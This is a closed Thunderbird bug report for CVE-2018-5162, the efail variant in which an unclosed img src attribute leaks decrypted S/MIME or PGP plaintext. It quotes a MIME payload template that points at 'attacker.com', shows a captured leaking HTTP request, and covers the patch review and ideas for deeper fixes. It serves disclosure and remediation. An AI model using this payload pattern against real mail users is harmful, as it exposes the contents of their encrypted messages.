Closed Bug 1457721 (CVE-2018-5162) Opened 2 years ago Closed 2 years ago

fix efail PoC 3: Leaking plaintext through src attribute

Categories

(Thunderbird :: Security, defect)

52 Branch
defect
Not set
normal

Tracking

(thunderbird_esr5260+ fixed, thunderbird60 fixed, thunderbird61 fixed)

RESOLVED FIXED
Thunderbird 61.0
Tracking Status
thunderbird_esr52 60+ fixed
thunderbird60 --- fixed
thunderbird61 --- fixed

People

(Reporter: mkmelin, Assigned: mkmelin)

References

()

Details

(Keywords: sec-high)

Attachments

(2 files)

+++ This bug was initially created as a clone of Bug #1419417 +++

As described in bug 1419417 comment 1:

-------------------------------------------------------------
*Proof of concept 3: Leaking plaintext through src attribute*
-------------------------------------------------------------

Prerequisites:
- victim reads messages in HTML
- victim allows remote content (further attack variants possible, see below)

Attack:
Another variant of this attack is to use the HTML src attribute, for example, for invisible iframes or image tags to leak the plaintext:

multipart/mixed
   |--- Content-Type: text/html
   |    <img src='https://attacker.com/
   |--- Content-Type: multipart/encrypted
   |--- Content-Type: application/pkcs7-mime
   +--- Content-Type: text/html
        '>

An email sample can be found in attachment 8930486 [details].
Attachment #8971817 - Flags: review?(jorgk)
Should probably change bug number in the patch. 

The attack only works with unclosed single quotes. So to make sure the attribute is ended, output internally a single quote (and a double one, just to make sure).
I created myself this test message where I took an encrypted messages that I can decrypt and wrapped it à la attachment 8930486 [details].

When the message is displayed in the preview, I get this:
<div class="moz-text-html" lang="x-western"><img src="http://localhost:8080/
</div><BR><FIELDSET CLASS=&quot;mimeAttachmentHeader&quot;></FIELDSET><div class=&quot;moz-text-plain&quot; wrap=true graphical-quote=true style=&quot;font-family: -moz-fixed; font-size: 14px;&quot; lang=&quot;x-western&quot;><pre wrap class=&quot;moz-quote-pre&quot;>
Content-Type: application/pkcs7-mime; name=&quot;smime.p7m&quot;; smime-type=enveloped-data
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHA6CAMIACAQAxggNvMIIBogIBADCBiTB1MQswCQYDVQQGEwJJTDEWMBQG
[snip]
xfgpAAAAAAAAAAAAAA==
</pre></div><BR><FIELDSET CLASS=&quot;mimeAttachmentHeader&quot;></FIELDSET><div class=&quot;moz-text-html&quot;  lang=&quot;x-western&quot;>" shrinktofit="true">
</div>

So the encrypted message makes it into the image src attribute and would be "phoned home". I haven't see that the decrypted text actually appears anywhere.

I'll try with the patch now to see what happens. Most likely, the src attribute will be terminated before the <BR><FIELDSET ...>.
Comment on attachment 8971817 [details] [diff] [review]
bug1419417_efail_src_break.patch

With the patch the image I get is this:
<img src="http://localhost:8080/
</div><!--" "--="" shrinktofit="true">
Note that the DOM inspector converts single to double quotes.

I checked a few other messages and saw no bad side effects.

Sadly I cannot confirm the original attack vector, but this patch should fix the issue.
Attachment #8971817 - Flags: review?(jorgk) → review+
https://hg.mozilla.org/comm-central/rev/978fe6295ed383f3e56e6a4db72b6310c6508f8b
ensure urls don't leak over boundaries. r=jorgk
That's a little obscure not to draw attention ;-)
Attachment #8971817 - Flags: approval-comm-beta+
Target Milestone: --- → Thunderbird 61.0
> Sadly I cannot confirm the original attack vector

Just re-tested (on 52.6.0) the original exploit (attachment 8930486 [details]). If I click to allow remote content I get the following HTTP request containing the full plaintext of S/MIME and PGP/MIME encrypted messages. So decryption seems to be done before loading remote images:

<code>
GET /%3C/div%3E%3CBR%3E%3CFIELDSET%20CLASS=%22mimeAttachmentHeader%22%3E%3C/FIELDSET%3E%3CBR/%3E%3Cdiv%20class=%22moz-text-plain%22%20wrap=true%20graphical-quote=true%20style=%22font-family:%20-moz-fixed;%20font-size:%2012px;%22%20lang=%22x-unicode%22%3E%3Cpre%20wrap%3E**********************************THIS%20IS%20A%20S/MIME%20ENCRYPTED%20MESSAGE**********************************%3C/pre%3E%3C/div%3E%3CBR%3E%3CFIELDSET%20CLASS=%22mimeAttachmentHeader%22%3E%3C/FIELDSET%3E%3CBR/%3E%3Cdiv%20class=%22moz-text-plain%22%20wrap=true%20graphical-quote=true%20style=%22font-family:%20-moz-fixed;%20font-size:%2012px;%22%20lang=%22x-unicode%22%3E%3Cpre%20wrap%3E************************************THIS%20IS%20A%20PGP/MIME%20ENCRYPTED%20MESSAGE************************************%3C/pre%3E%3C/div%3E%3CBR%3E%3CFIELDSET%20CLASS=%22mimeAttachmentHeader%22%3E%3C/FIELDSET%3E%3CBR/%3E%3Cdiv%20class=%22moz-text-html%22%20%20lang=%22x-western%22%3E HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Thunderbird/52.6.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
</code>

> but this patch should fix the issue.

Yes, this should work (and can realistically be rolled out before public disclosure on 2018-05-15!). However, we need to bear in mind it's only a monkeypatch and there may be bypasses. E.g. if the HTML rendering engine evolves and one day decides to handle backticks as quotes we're screwed again. Same if an attacker finds a way to post HTML forms, use some nasty CSS bleeding tricks, etc. HTML just has so many options.

So, in the long term we should think of deeper fixes such as:
- Strict separation (separate DOM?) between different MIME message parts
- Do not decrypt S/MIME or PGP encrypted messages unless the encrypted part is the top-level part in the MIME tree (and has no other message parts as brothers)
(In reply to Jens Müller from comment #6)
> So, in the long term we should think of deeper fixes such as:
[...]
> - Do not decrypt S/MIME or PGP encrypted messages unless the encrypted part
> is the top-level part in the MIME tree (and has no other message parts as
> brothers)

This is a way too simple idea. It will fail for example for message forwarded as attachment. 
There are several valid scenarios where decryption of non-toplevel MIME parts is desired.
From a security point of view, I'd generally dislike the idea of having partly encrypted (and partly signed) messages. It gives a false sense of security. Either its sig+enc or it's not :)

But I see that reality things are different and from a practical point of view we can probably not apply such more radical countermeasures :/
Status: ASSIGNED → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED
Attachment #8971817 - Flags: approval-comm-esr52?
Attachment #8971817 - Flags: approval-comm-esr52? → approval-comm-esr52+
Group: mail-core-security → core-security-release
Alias: CVE-2018-5162
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.